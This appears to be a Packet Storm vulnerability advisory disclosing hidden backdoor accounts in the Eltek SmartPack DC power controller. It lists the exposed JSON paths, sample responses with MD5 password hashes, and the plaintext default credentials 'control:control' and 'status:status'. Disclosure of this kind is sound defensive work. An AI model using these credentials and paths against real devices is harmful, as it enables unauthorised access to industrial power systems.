Eltek SmartPack Backdoor Account

Eltek SmartPack has backdoor accounts that are disclosed via some json files.


MD5 | 79e0ad16c5b8a359a1479599433c968a

Download
Eltek SmartPack - Backdoor Account

Author: Saeed reza Zamanian [penetrationtest @ Linkedin]
Product: Eltek SmartPack
Vendor: http://www.eltek.com/
Product Link : http://www.eltek.com/detail_products.epl?k1=25507&id=1123846

About Product:

The Smartpack controller is a powerful and cost-effective module, developed for monitoring and controlling a wide range of Elte's DC power supply systems.
You operate the system from the front panel, locally via a PC using the PowerSuite PC application, or remotely via modem, Ethernet and the Web. The module then utilizes the USB- or RS-232 ports to interface with a local PC, SNMP or Web adapters.

Vulnerability Report:
In Eltek Management Section, on following path, some json files (sush as cfgUseraccount1.json to cfgUseraccount10.json) will be called , that disclose some of pre-defined system users.
the json response is containing username and password (hashed in MD5), if you crack the MD5 hashes to plain text you can be able to login in the system. (same as bellow).
Please Note: the users were not note in users manual.

control:control
status:status

Path:
system conf>Devuce Settings>User Accounts
-----------------------------
json Path:
http://10.211.7.70/RPC/Eltek/cfgUseraccount1.json
to .....
http://10.211.7.70/RPC/Eltek/cfgUseraccount10.json
-----------------------------
json responses:

{
  "jsonrpc":  "2.0",
  "result":  [{
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgLevel:vU8int1"
,
      "Value":  2
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgUser:vString21"
,
      "Value":  "control"
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword:vString21"
,
      "Value":  "fc5364bf9dbfa34954526becad136d4b"
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword_new
:vString21",
      "Value":  null
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword_renew
:vString21",
      "Value":  null
    }],
  "id":  21

  
-------------------------------------------------------------------------------------------
{
  "jsonrpc":  "2.0",
  "result":  [{
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgLevel:vU8int1"
,
      "Value":  1
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgUser:vString21"
,
      "Value":  "status"
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword:vString21"
,
      "Value":  "9acb44549b41563697bb490144ec6258"
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword_new
:vString21",
      "Value":  null
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword_renew
:vString21",
      "Value":  null
    }],
  "id":  8
}

-------------------------------------------------------------------------------------------

#EOF

Source: packetstormsecurity.com
Related Posts